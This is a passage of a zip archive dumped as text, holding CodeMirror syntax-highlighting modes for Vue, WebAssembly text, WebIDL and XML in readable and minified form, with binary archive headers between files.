b={script:[["lang",/coffee(script)?/,"coffeescript"],["type",/^(?:text|application)\/(?:x-)?coffee(?:script)?$/,"coffeescript"],["lang",/^babel$/,"javascript"],["type",/^text\/babel$/,"javascript"],["type",/^text\/ecmascript-\d+$/,"javascript"]],style:[["lang",/^stylus$/i,"stylus"],["lang",/^sass$/i,"sass"],["lang",/^less$/i,"text/x-less"],["lang",/^scss$/i,"text/x-scss"],["type",/^(text\/)?(x-)?styl(us)?$/i,"stylus"],["type",/^text\/sass/i,"sass"],["type",/^(text\/)?(x-)?scss$/i,"text/x-scss"],["type",/^(text\/)?(x-)?less$/i,"text/x-less"]],template:[["lang",/^vue-template$/i,"vue"],["lang",/^pug$/i,"pug"],["lang",/^handlebars$/i,"handlebars"],["type",/^(text\/)?(x-)?pug$/i,"pug"],["type",/^text\/x-handlebars-template$/i,"handlebars"],[null,null,"vue-template"]]};a.defineMode("vue-template",(function(b,c){var
d={token:function(a){if(a.match(/^\{\{.*?\}\}/))return"meta
mustache";for(;a.next()&&!a.match("{{",!1););return
null}};return
a.overlayMode(a.getMode(b,c.backdrop||"text/html"),d)})),a.defineMode("vue",(function(c){return
a.getMode(c,{name:"htmlmixed",tags:b})}),"htmlmixed","xml","javascript","coffeescript","css","sass","stylus","pug","handlebars"),a.defineMIME("script/x-vue","vue"),a.defineMIME("text/x-vue","vue")}));PKP��[	�7���codemirror/mode/wast/wast.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../../addon/mode/simple"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../../addon/mode/simple"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineSimpleMode('wast', {
  start: [
    {regex:
/[+\-]?(?:nan(?::0x[0-9a-fA-F]+)?|infinity|inf|0x[0-9a-fA-F]+\.?[0-9a-fA-F]*p[+\/-]?\d+|\d+(?:\.\d*)?[eE][+\-]?\d*|\d+\.\d*|0x[0-9a-fA-F]+|\d+)/,
token: "number"},
    {regex:
/mut|nop|block|if|then|else|loop|br_if|br_table|br|call(_indirect)?|drop|end|return(_call(_indirect)?)?|local\.(get|set|tee)|global\.(get|set)|i(32|64)\.(store(8|16)|(load(8|16)_[su]))|i64\.(load32_[su]|store32)|[fi](32|64)\.(const|load|store)|f(32|64)\.(abs|add|ceil|copysign|div|eq|floor|[gl][et]|max|min|mul|nearest|neg?|sqrt|sub|trunc)|i(32|64)\.(a[dn]d|c[lt]z|(div|rem)_[su]|eqz?|[gl][te]_[su]|mul|ne|popcnt|rot[lr]|sh(l|r_[su])|sub|x?or)|i64\.extend_[su]_i32|i32\.wrap_i64|i(32|64)\.trunc_f(32|64)_[su]|f(32|64)\.convert_i(32|64)_[su]|f64\.promote_f32|f32\.demote_f64|f32\.reinterpret_i32|i32\.reinterpret_f32|f64\.reinterpret_i64|i64\.reinterpret_f64|select|unreachable|current_memory|memory(\.((atomic\.(notify|wait(32|64)))|grow|size))?|type|func|param|result|local|global|module|table|start|elem|data|align|offset|import|export|i64\.atomic\.(load32_u|store32|rmw32\.(a[dn]d|sub|x?or|(cmp)?xchg)_u)|i(32|64)\.atomic\.(load((8|16)_u)?|store(8|16)?|rmw(\.(a[dn]d|sub|x?or|(cmp)?xchg)|(8|16)\.(a[dn]d|sub|x?or|(cmp)?xchg)_u))|v128\.(load|store|const|not|andnot|and|or|xor|bitselect)|i(8x16|16x8|32x4|64x2)\.(shl|shr_[su])|i(8x16|16x8)\.(extract_lane_[su]|((add|sub)_saturate_[su])|avgr_u)|(i(8x16|16x8|32x4|64x2)|f(32x4|64x2))\.(splat|replace_lane|neg|add|sub)|i(8x16|16x8|32x4)\.(eq|ne|([lg][te]_[su])|abs|any_true|all_true|bitmask|((min|max)_[su]))|f(32x4|64x2)\.(eq|ne|[lg][te]|abs|sqrt|mul|div|min|max)|[fi](32x4|64x2)\.extract_lane|v8x16\.(shuffle|swizzle)|i16x8\.(load8x8_[su]|narrow_i32x4_[su]|widen_(low|high)_i8x16_[su]|mul)|i32x4\.(load16x4_[su]|widen_(low|high)_i16x8_[su]|mul|trunc_sat_f32x4_[su])|i64x2\.(load32x2_[su]|mul)|(v(8x16|16x8|32x4|64x2)\.load_splat)|i8x16\.narrow_i16x8_[su]|f32x4\.convert_i32x4_[su]/,
token: "keyword"},
    {regex: /\b(anyfunc|[fi](32|64))\b/, token: "atom"},
    {regex: /\$([a-zA-Z0-9_`\+\-\*\/\\\^~=<>!\?@#$%&|:\.]+)/,
token: "variable-2"},
    {regex:
/"(?:[^"\\\x00-\x1f\x7f]|\\[nt\\'"]|\\[0-9a-fA-F][0-9a-fA-F])*"/,
token: "string"},
    {regex: /\(;.*?/, token: "comment", next:
"comment"},
    {regex: /;;.*$/, token: "comment"},
    {regex: /\(/, indent: true},
    {regex: /\)/, dedent: true},
  ],

  comment: [
    {regex: /.*?;\)/, token: "comment", next: "start"},
    {regex: /.*/, token: "comment"},
  ],

  meta: {
    dontIndentStates: ['comment'],
  },
});

// https://github.com/WebAssembly/design/issues/981 mentions
text/webassembly,
// which seems like a reasonable choice, although it's not standard
right now.
CodeMirror.defineMIME("text/webassembly", "wast");

});
PKP��[�{c�
�
 codemirror/mode/wast/wast.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../../addon/mode/simple")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../../addon/mode/simple"],a):a(CodeMirror)})((function(a){"use
strict";a.defineSimpleMode("wast",{start:[{regex:/[+\-]?(?:nan(?::0x[0-9a-fA-F]+)?|infinity|inf|0x[0-9a-fA-F]+\.?[0-9a-fA-F]*p[+\/-]?\d+|\d+(?:\.\d*)?[eE][+\-]?\d*|\d+\.\d*|0x[0-9a-fA-F]+|\d+)/,token:"number"},{regex:/mut|nop|block|if|then|else|loop|br_if|br_table|br|call(_indirect)?|drop|end|return(_call(_indirect)?)?|local\.(get|set|tee)|global\.(get|set)|i(32|64)\.(store(8|16)|(load(8|16)_[su]))|i64\.(load32_[su]|store32)|[fi](32|64)\.(const|load|store)|f(32|64)\.(abs|add|ceil|copysign|div|eq|floor|[gl][et]|max|min|mul|nearest|neg?|sqrt|sub|trunc)|i(32|64)\.(a[dn]d|c[lt]z|(div|rem)_[su]|eqz?|[gl][te]_[su]|mul|ne|popcnt|rot[lr]|sh(l|r_[su])|sub|x?or)|i64\.extend_[su]_i32|i32\.wrap_i64|i(32|64)\.trunc_f(32|64)_[su]|f(32|64)\.convert_i(32|64)_[su]|f64\.promote_f32|f32\.demote_f64|f32\.reinterpret_i32|i32\.reinterpret_f32|f64\.reinterpret_i64|i64\.reinterpret_f64|select|unreachable|current_memory|memory(\.((atomic\.(notify|wait(32|64)))|grow|size))?|type|func|param|result|local|global|module|table|start|elem|data|align|offset|import|export|i64\.atomic\.(load32_u|store32|rmw32\.(a[dn]d|sub|x?or|(cmp)?xchg)_u)|i(32|64)\.atomic\.(load((8|16)_u)?|store(8|16)?|rmw(\.(a[dn]d|sub|x?or|(cmp)?xchg)|(8|16)\.(a[dn]d|sub|x?or|(cmp)?xchg)_u))|v128\.(load|store|const|not|andnot|and|or|xor|bitselect)|i(8x16|16x8|32x4|64x2)\.(shl|shr_[su])|i(8x16|16x8)\.(extract_lane_[su]|((add|sub)_saturate_[su])|avgr_u)|(i(8x16|16x8|32x4|64x2)|f(32x4|64x2))\.(splat|replace_lane|neg|add|sub)|i(8x16|16x8|32x4)\.(eq|ne|([lg][te]_[su])|abs|any_true|all_true|bitmask|((min|max)_[su]))|f(32x4|64x2)\.(eq|ne|[lg][te]|abs|sqrt|mul|div|min|max)|[fi](32x4|64x2)\.extract_lane|v8x16\.(shuffle|swizzle)|i16x8\.(load8x8_[su]|narrow_i32x4_[su]|widen_(low|high)_i8x16_[su]|mul)|i32x4\.(load16x4_[su]|widen_(low|high)_i16x8_[su]|mul|trunc_sat_f32x4_[su])|i64x2\.(load32x2_[su]|mul)|(v(8x16|16x8|32x4|64x2)\.load_splat)|i8x16\.narrow_i16x8_[su]|f32x4\.convert_i32x4_[su]/,token:"keyword"},{regex:/\b(anyfunc|[fi](32|64))\b/,token:"atom"},{regex:/\$([a-zA-Z0-9_`\+\-\*\/\\\^~=<>!\?@#$%&|:\.]+)/,token:"variable-2"},{regex:/"(?:[^"\\\x00-\x1f\x7f]|\\[nt\\'"]|\\[0-9a-fA-F][0-9a-fA-F])*"/,token:"string"},{regex:/\(;.*?/,token:"comment",next:"comment"},{regex:/;;.*$/,token:"comment"},{regex:/\(/,indent:!0},{regex:/\)/,dedent:!0}],comment:[{regex:/.*?;\)/,token:"comment",next:"start"},{regex:/.*/,token:"comment"}],meta:{dontIndentStates:["comment"]}}),a.defineMIME("text/webassembly","wast")}));PKP��[�Ϗؙ�
codemirror/mode/webidl/webidl.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

function wordRegexp(words) {
  return new RegExp("^((" + words.join(")|(") +
"))\\b");
};

var builtinArray = [
  "Clamp",
  "Constructor",
  "EnforceRange",
  "Exposed",
  "ImplicitThis",
  "Global", "PrimaryGlobal",
  "LegacyArrayClass",
  "LegacyUnenumerableNamedProperties",
  "LenientThis",
  "NamedConstructor",
  "NewObject",
  "NoInterfaceObject",
  "OverrideBuiltins",
  "PutForwards",
  "Replaceable",
  "SameObject",
  "TreatNonObjectAsNull",
  "TreatNullAs",
    "EmptyString",
  "Unforgeable",
  "Unscopeable"
];
var builtins = wordRegexp(builtinArray);

var typeArray = [
  "unsigned", "short", "long",               
  // UnsignedIntegerType
  "unrestricted", "float", "double",         
  // UnrestrictedFloatType
  "boolean", "byte", "octet",                
  // Rest of PrimitiveType
  "Promise",                                    // PromiseType
  "ArrayBuffer", "DataView", "Int8Array",
"Int16Array", "Int32Array",
  "Uint8Array", "Uint16Array", "Uint32Array",
"Uint8ClampedArray",
  "Float32Array", "Float64Array",               //
BufferRelatedType
  "ByteString", "DOMString", "USVString",
"sequence", "object", "RegExp",
  "Error", "DOMException", "FrozenArray",    
  // Rest of NonAnyType
  "any",                                        // Rest of
SingleType
  "void"                                        // Rest of
ReturnType
];
var types = wordRegexp(typeArray);

var keywordArray = [
  "attribute", "callback", "const",
"deleter", "dictionary", "enum",
"getter",
  "implements", "inherit", "interface",
"iterable", "legacycaller", "maplike",
  "partial", "required", "serializer",
"setlike", "setter", "static",
  "stringifier", "typedef",                     //
ArgumentNameKeyword except
                                                // "unrestricted"
  "optional", "readonly", "or"
];
var keywords = wordRegexp(keywordArray);

var atomArray = [
  "true", "false",                              //
BooleanLiteral
  "Infinity", "NaN",                            //
FloatLiteral
  "null"                                        // Rest of
ConstValue
];
var atoms = wordRegexp(atomArray);

CodeMirror.registerHelper("hintWords", "webidl",
    builtinArray.concat(typeArray).concat(keywordArray).concat(atomArray));

var startDefArray = ["callback", "dictionary",
"enum", "interface"];
var startDefs = wordRegexp(startDefArray);

var endDefArray = ["typedef"];
var endDefs = wordRegexp(endDefArray);

var singleOperators = /^[:<=>?]/;
var integers = /^-?([1-9][0-9]*|0[Xx][0-9A-Fa-f]+|0[0-7]*)/;
var floats =
/^-?(([0-9]+\.[0-9]*|[0-9]*\.[0-9]+)([Ee][+-]?[0-9]+)?|[0-9]+[Ee][+-]?[0-9]+)/;
var identifiers = /^_?[A-Za-z][0-9A-Z_a-z-]*/;
var identifiersEnd = /^_?[A-Za-z][0-9A-Z_a-z-]*(?=\s*;)/;
var strings = /^"[^"]*"/;
var multilineComments = /^\/\*.*?\*\//;
var multilineCommentsStart = /^\/\*.*/;
var multilineCommentsEnd = /^.*?\*\//;

function readToken(stream, state) {
  // whitespace
  if (stream.eatSpace()) return null;

  // comment
  if (state.inComment) {
    if (stream.match(multilineCommentsEnd)) {
      state.inComment = false;
      return "comment";
    }
    stream.skipToEnd();
    return "comment";
  }
  if (stream.match("//")) {
    stream.skipToEnd();
    return "comment";
  }
  if (stream.match(multilineComments)) return "comment";
  if (stream.match(multilineCommentsStart)) {
    state.inComment = true;
    return "comment";
  }

  // integer and float
  if (stream.match(/^-?[0-9\.]/, false)) {
    if (stream.match(integers) || stream.match(floats)) return
"number";
  }

  // string
  if (stream.match(strings)) return "string";

  // identifier
  if (state.startDef && stream.match(identifiers)) return
"def";

  if (state.endDef && stream.match(identifiersEnd)) {
    state.endDef = false;
    return "def";
  }

  if (stream.match(keywords)) return "keyword";

  if (stream.match(types)) {
    var lastToken = state.lastToken;
    var nextToken = (stream.match(/^\s*(.+?)\b/, false) || [])[1];

    if (lastToken === ":" || lastToken === "implements"
||
        nextToken === "implements" || nextToken ===
"=") {
      // Used as identifier
      return "builtin";
    } else {
      // Used as type
      return "variable-3";
    }
  }

  if (stream.match(builtins)) return "builtin";
  if (stream.match(atoms)) return "atom";
  if (stream.match(identifiers)) return "variable";

  // other
  if (stream.match(singleOperators)) return "operator";

  // unrecognized
  stream.next();
  return null;
};

CodeMirror.defineMode("webidl", function() {
  return {
    startState: function() {
      return {
        // Is in multiline comment
        inComment: false,
        // Last non-whitespace, matched token
        lastToken: "",
        // Next token is a definition
        startDef: false,
        // Last token of the statement is a definition
        endDef: false
      };
    },
    token: function(stream, state) {
      var style = readToken(stream, state);

      if (style) {
        var cur = stream.current();
        state.lastToken = cur;
        if (style === "keyword") {
          state.startDef = startDefs.test(cur);
          state.endDef = state.endDef || endDefs.test(cur);
        } else {
          state.startDef = false;
        }
      }

      return style;
    }
  };
});

CodeMirror.defineMIME("text/x-webidl", "webidl");
});
PKP��[#�'h�
�
$codemirror/mode/webidl/webidl.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){return new
RegExp("^(("+a.join(")|(")+"))\\b")}function
c(a,b){if(a.eatSpace())return null;if(b.inComment)return
a.match(x)?(b.inComment=!1,"comment"):(a.skipToEnd(),"comment");if(a.match("//"))return
a.skipToEnd(),"comment";if(a.match(v))return"comment";if(a.match(w))return
b.inComment=!0,"comment";if(a.match(/^-?[0-9\.]/,!1)&&(a.match(q)||a.match(r)))return"number";if(a.match(u))return"string";if(b.startDef&&a.match(s))return"def";if(b.endDef&&a.match(t))return
b.endDef=!1,"def";if(a.match(i))return"keyword";if(a.match(g)){var
c=b.lastToken,d=(a.match(/^\s*(.+?)\b/,!1)||[])[1];return":"===c||"implements"===c||"implements"===d||"="===d?"builtin":"variable-3"}return
a.match(e)?"builtin":a.match(k)?"atom":a.match(s)?"variable":a.match(p)?"operator":(a.next(),null)}var
d=["Clamp","Constructor","EnforceRange","Exposed","ImplicitThis","Global","PrimaryGlobal","LegacyArrayClass","LegacyUnenumerableNamedProperties","LenientThis","NamedConstructor","NewObject","NoInterfaceObject","OverrideBuiltins","PutForwards","Replaceable","SameObject","TreatNonObjectAsNull","TreatNullAs","EmptyString","Unforgeable","Unscopeable"],e=b(d),f=["unsigned","short","long","unrestricted","float","double","boolean","byte","octet","Promise","ArrayBuffer","DataView","Int8Array","Int16Array","Int32Array","Uint8Array","Uint16Array","Uint32Array","Uint8ClampedArray","Float32Array","Float64Array","ByteString","DOMString","USVString","sequence","object","RegExp","Error","DOMException","FrozenArray","any","void"],g=b(f),h=["attribute","callback","const","deleter","dictionary","enum","getter","implements","inherit","interface","iterable","legacycaller","maplike","partial","required","serializer","setlike","setter","static","stringifier","typedef","optional","readonly","or"],i=b(h),j=["true","false","Infinity","NaN","null"],k=b(j);a.registerHelper("hintWords","webidl",d.concat(f).concat(h).concat(j));var
l=["callback","dictionary","enum","interface"],m=b(l),n=["typedef"],o=b(n),p=/^[:<=>?]/,q=/^-?([1-9][0-9]*|0[Xx][0-9A-Fa-f]+|0[0-7]*)/,r=/^-?(([0-9]+\.[0-9]*|[0-9]*\.[0-9]+)([Ee][+-]?[0-9]+)?|[0-9]+[Ee][+-]?[0-9]+)/,s=/^_?[A-Za-z][0-9A-Z_a-z-]*/,t=/^_?[A-Za-z][0-9A-Z_a-z-]*(?=\s*;)/,u=/^"[^"]*"/,v=/^\/\*.*?\*\//,w=/^\/\*.*/,x=/^.*?\*\//;a.defineMode("webidl",(function(){return{startState:function(){return{inComment:!1,lastToken:"",startDef:!1,endDef:!1}},token:function(a,b){var
d=c(a,b);if(d){var
e=a.current();b.lastToken=e,"keyword"===d?(b.startDef=m.test(e),b.endDef=b.endDef||o.test(e)):b.startDef=!1}return
d}}})),a.defineMIME("text/x-webidl","webidl")}));PKP��[��3�3codemirror/mode/xml/xml.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

var htmlConfig = {
  autoSelfClosers: {'area': true, 'base': true,
'br': true, 'col': true, 'command': true,
                    'embed': true, 'frame': true,
'hr': true, 'img': true, 'input': true,
                    'keygen': true, 'link': true,
'meta': true, 'param': true, 'source': true,
                    'track': true, 'wbr': true,
'menuitem': true},
  implicitlyClosed: {'dd': true, 'li': true,
'optgroup': true, 'option': true, 'p': true,
                     'rp': true, 'rt': true,
'tbody': true, 'td': true, 'tfoot': true,
                     'th': true, 'tr': true},
  contextGrabbers: {
    'dd': {'dd': true, 'dt': true},
    'dt': {'dd': true, 'dt': true},
    'li': {'li': true},
    'option': {'option': true, 'optgroup':
true},
    'optgroup': {'optgroup': true},
    'p': {'address': true, 'article': true,
'aside': true, 'blockquote': true, 'dir':
true,
          'div': true, 'dl': true,
'fieldset': true, 'footer': true, 'form':
true,
          'h1': true, 'h2': true, 'h3': true,
'h4': true, 'h5': true, 'h6': true,
          'header': true, 'hgroup': true,
'hr': true, 'menu': true, 'nav': true,
'ol': true,
          'p': true, 'pre': true, 'section':
true, 'table': true, 'ul': true},
    'rp': {'rp': true, 'rt': true},
    'rt': {'rp': true, 'rt': true},
    'tbody': {'tbody': true, 'tfoot': true},
    'td': {'td': true, 'th': true},
    'tfoot': {'tbody': true},
    'th': {'td': true, 'th': true},
    'thead': {'tbody': true, 'tfoot': true},
    'tr': {'tr': true}
  },
  doNotIndent: {"pre": true},
  allowUnquoted: true,
  allowMissing: true,
  caseFold: true
}

var xmlConfig = {
  autoSelfClosers: {},
  implicitlyClosed: {},
  contextGrabbers: {},
  doNotIndent: {},
  allowUnquoted: false,
  allowMissing: false,
  allowMissingTagName: false,
  caseFold: false
}

CodeMirror.defineMode("xml", function(editorConf, config_) {
  var indentUnit = editorConf.indentUnit
  var config = {}
  var defaults = config_.htmlMode ? htmlConfig : xmlConfig
  for (var prop in defaults) config[prop] = defaults[prop]
  for (var prop in config_) config[prop] = config_[prop]

  // Return variables for tokenizers
  var type, setStyle;

  function inText(stream, state) {
    function chain(parser) {
      state.tokenize = parser;
      return parser(stream, state);
    }

    var ch = stream.next();
    if (ch == "<") {
      if (stream.eat("!")) {
        if (stream.eat("[")) {
          if (stream.match("CDATA[")) return
chain(inBlock("atom", "]]>"));
          else return null;
        } else if (stream.match("--")) {
          return chain(inBlock("comment", "-->"));
        } else if (stream.match("DOCTYPE", true, true)) {
          stream.eatWhile(/[\w\._\-]/);
          return chain(doctype(1));
        } else {
          return null;
        }
      } else if (stream.eat("?")) {
        stream.eatWhile(/[\w\._\-]/);
        state.tokenize = inBlock("meta", "?>");
        return "meta";
      } else {
        type = stream.eat("/") ? "closeTag" :
"openTag";
        state.tokenize = inTag;
        return "tag bracket";
      }
    } else if (ch == "&") {
      var ok;
      if (stream.eat("#")) {
        if (stream.eat("x")) {
          ok = stream.eatWhile(/[a-fA-F\d]/) &&
stream.eat(";");
        } else {
          ok = stream.eatWhile(/[\d]/) &&
stream.eat(";");
        }
      } else {
        ok = stream.eatWhile(/[\w\.\-:]/) &&
stream.eat(";");
      }
      return ok ? "atom" : "error";
    } else {
      stream.eatWhile(/[^&<]/);
      return null;
    }
  }
  inText.isInText = true;

  function inTag(stream, state) {
    var ch = stream.next();
    if (ch == ">" || (ch == "/" &&
stream.eat(">"))) {
      state.tokenize = inText;
      type = ch == ">" ? "endTag" :
"selfcloseTag";
      return "tag bracket";
    } else if (ch == "=") {
      type = "equals";
      return null;
    } else if (ch == "<") {
      state.tokenize = inText;
      state.state = baseState;
      state.tagName = state.tagStart = null;
      var next = state.tokenize(stream, state);
      return next ? next + " tag error" : "tag error";
    } else if (/[\'\"]/.test(ch)) {
      state.tokenize = inAttribute(ch);
      state.stringStartCol = stream.column();
      return state.tokenize(stream, state);
    } else {
     
stream.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/);
      return "word";
    }
  }

  function inAttribute(quote) {
    var closure = function(stream, state) {
      while (!stream.eol()) {
        if (stream.next() == quote) {
          state.tokenize = inTag;
          break;
        }
      }
      return "string";
    };
    closure.isInAttribute = true;
    return closure;
  }

  function inBlock(style, terminator) {
    return function(stream, state) {
      while (!stream.eol()) {
        if (stream.match(terminator)) {
          state.tokenize = inText;
          break;
        }
        stream.next();
      }
      return style;
    }
  }

  function doctype(depth) {
    return function(stream, state) {
      var ch;
      while ((ch = stream.next()) != null) {
        if (ch == "<") {
          state.tokenize = doctype(depth + 1);
          return state.tokenize(stream, state);
        } else if (ch == ">") {
          if (depth == 1) {
            state.tokenize = inText;
            break;
          } else {
            state.tokenize = doctype(depth - 1);
            return state.tokenize(stream, state);
          }
        }
      }
      return "meta";
    };
  }

  function Context(state, tagName, startOfLine) {
    this.prev = state.context;
    this.tagName = tagName;
    this.indent = state.indented;
    this.startOfLine = startOfLine;
    if (config.doNotIndent.hasOwnProperty(tagName) || (state.context
&& state.context.noIndent))
      this.noIndent = true;
  }
  function popContext(state) {
    if (state.context) state.context = state.context.prev;
  }
  function maybePopContext(state, nextTagName) {
    var parentTagName;
    while (true) {
      if (!state.context) {
        return;
      }
      parentTagName = state.context.tagName;
      if (!config.contextGrabbers.hasOwnProperty(parentTagName) ||
         
!config.contextGrabbers[parentTagName].hasOwnProperty(nextTagName)) {
        return;
      }
      popContext(state);
    }
  }

  function baseState(type, stream, state) {
    if (type == "openTag") {
      state.tagStart = stream.column();
      return tagNameState;
    } else if (type == "closeTag") {
      return closeTagNameState;
    } else {
      return baseState;
    }
  }
  function tagNameState(type, stream, state) {
    if (type == "word") {
      state.tagName = stream.current();
      setStyle = "tag";
      return attrState;
    } else if (config.allowMissingTagName && type ==
"endTag") {
      setStyle = "tag bracket";
      return attrState(type, stream, state);
    } else {
      setStyle = "error";
      return tagNameState;
    }
  }
  function closeTagNameState(type, stream, state) {
    if (type == "word") {
      var tagName = stream.current();
      if (state.context && state.context.tagName != tagName
&&
          config.implicitlyClosed.hasOwnProperty(state.context.tagName))
        popContext(state);
      if ((state.context && state.context.tagName == tagName) ||
config.matchClosing === false) {
        setStyle = "tag";
        return closeState;
      } else {
        setStyle = "tag error";
        return closeStateErr;
      }
    } else if (config.allowMissingTagName && type ==
"endTag") {
      setStyle = "tag bracket";
      return closeState(type, stream, state);
    } else {
      setStyle = "error";
      return closeStateErr;
    }
  }

  function closeState(type, _stream, state) {
    if (type != "endTag") {
      setStyle = "error";
      return closeState;
    }
    popContext(state);
    return baseState;
  }
  function closeStateErr(type, stream, state) {
    setStyle = "error";
    return closeState(type, stream, state);
  }

  function attrState(type, _stream, state) {
    if (type == "word") {
      setStyle = "attribute";
      return attrEqState;
    } else if (type == "endTag" || type ==
"selfcloseTag") {
      var tagName = state.tagName, tagStart = state.tagStart;
      state.tagName = state.tagStart = null;
      if (type == "selfcloseTag" ||
          config.autoSelfClosers.hasOwnProperty(tagName)) {
        maybePopContext(state, tagName);
      } else {
        maybePopContext(state, tagName);
        state.context = new Context(state, tagName, tagStart ==
state.indented);
      }
      return baseState;
    }
    setStyle = "error";
    return attrState;
  }
  function attrEqState(type, stream, state) {
    if (type == "equals") return attrValueState;
    if (!config.allowMissing) setStyle = "error";
    return attrState(type, stream, state);
  }
  function attrValueState(type, stream, state) {
    if (type == "string") return attrContinuedState;
    if (type == "word" && config.allowUnquoted) {setStyle
= "string"; return attrState;}
    setStyle = "error";
    return attrState(type, stream, state);
  }
  function attrContinuedState(type, stream, state) {
    if (type == "string") return attrContinuedState;
    return attrState(type, stream, state);
  }

  return {
    startState: function(baseIndent) {
      var state = {tokenize: inText,
                   state: baseState,
                   indented: baseIndent || 0,
                   tagName: null, tagStart: null,
                   context: null}
      if (baseIndent != null) state.baseIndent = baseIndent
      return state
    },

    token: function(stream, state) {
      if (!state.tagName && stream.sol())
        state.indented = stream.indentation();

      if (stream.eatSpace()) return null;
      type = null;
      var style = state.tokenize(stream, state);
      if ((style || type) && style != "comment") {
        setStyle = null;
        state.state = state.state(type || style, stream, state);
        if (setStyle)
          style = setStyle == "error" ? style + "
error" : setStyle;
      }
      return style;
    },

    indent: function(state, textAfter, fullLine) {
      var context = state.context;
      // Indent multi-line strings (e.g. css).
      if (state.tokenize.isInAttribute) {
        if (state.tagStart == state.indented)
          return state.stringStartCol + 1;
        else
          return state.indented + indentUnit;
      }
      if (context && context.noIndent) return CodeMirror.Pass;
      if (state.tokenize != inTag && state.tokenize != inText)
        return fullLine ? fullLine.match(/^(\s*)/)[0].length : 0;
      // Indent the starts of attribute names.
      if (state.tagName) {
        if (config.multilineTagIndentPastTag !== false)
          return state.tagStart + state.tagName.length + 2;
        else
          return state.tagStart + indentUnit *
(config.multilineTagIndentFactor || 1);
      }
      if (config.alignCDATA && /<!\[CDATA\[/.test(textAfter))
return 0;
      var tagAfter = textAfter &&
/^<(\/)?([\w_:\.-]*)/.exec(textAfter);
      if (tagAfter && tagAfter[1]) { // Closing tag spotted
        while (context) {
          if (context.tagName == tagAfter[2]) {
            context = context.prev;
            break;
          } else if
(config.implicitlyClosed.hasOwnProperty(context.tagName)) {
            context = context.prev;
          } else {
            break;
          }
        }
      } else if (tagAfter) { // Opening tag spotted
        while (context) {
          var grabbers = config.contextGrabbers[context.tagName];
          if (grabbers && grabbers.hasOwnProperty(tagAfter[2]))
            context = context.prev;
          else
            break;
        }
      }
      while (context && context.prev &&
!context.startOfLine)
        context = context.prev;
      if (context) return context.indent + indentUnit;
      else return state.baseIndent || 0;
    },

    electricInput: /<\/[\s\w:]+>$/,
    blockCommentStart: "<!--",
    blockCommentEnd: "-->",

    configuration: config.htmlMode ? "html" : "xml",
    helperType: config.htmlMode ? "html" : "xml",

    skipAttribute: function(state) {
      if (state.state == attrValueState)
        state.state = attrState
    },

    xmlCurrentTag: function(state) {
      return state.tagName ? {name: state.tagName, close: state.type ==
"closeTag"} : null
    },

    xmlCurrentContext: function(state) {
      var context = []
      for (var cx = state.context; cx; cx = cx.prev)
        if (cx.tagName) context.push(cx.tagName)
      return context.reverse()
    }
  };
});

CodeMirror.defineMIME("text/xml", "xml");
CodeMirror.defineMIME("application/xml", "xml");
if (!CodeMirror.mimeModes.hasOwnProperty("text/html"))
  CodeMirror.defineMIME("text/html", {name: "xml",
htmlMode: true});

});
PKP��[�\��codemirror/mode/xml/xml.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";var
b={autoSelfClosers:{area:!0,base:!0,br:!0,col:!0,command:!0,embed:!0,frame:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0,menuitem:!0},implicitlyClosed:{dd:!0,li:!0,optgroup:!0,option:!0,p:!0,rp:!0,rt:!0,tbody:!0,td:!0,tfoot:!0,th:!0,tr:!0},contextGrabbers:{dd:{dd:!0,dt:!0},dt:{dd:!0,dt:!0},li:{li:!0},option:{option:!0,optgroup:!0},optgroup:{optgroup:!0},p:{address:!0,article:!0,aside:!0,blockquote:!0,dir:!0,div:!0,dl:!0,fieldset:!0,footer:!0,form:!0,h1:!0,h2:!0,h3:!0,h4:!0,h5:!0,h6:!0,header:!0,hgroup:!0,hr:!0,menu:!0,nav:!0,ol:!0,p:!0,pre:!0,section:!0,table:!0,ul:!0},rp:{rp:!0,rt:!0},rt:{rp:!0,rt:!0},tbody:{tbody:!0,tfoot:!0},td:{td:!0,th:!0},tfoot:{tbody:!0},th:{td:!0,th:!0},thead:{tbody:!0,tfoot:!0},tr:{tr:!0}},doNotIndent:{pre:!0},allowUnquoted:!0,allowMissing:!0,caseFold:!0},c={autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:!1,allowMissing:!1,allowMissingTagName:!1,caseFold:!1};a.defineMode("xml",(function(d,e){function
f(a,b){function c(c){return b.tokenize=c,c(a,b)}var
d=a.next();if("<"==d)return
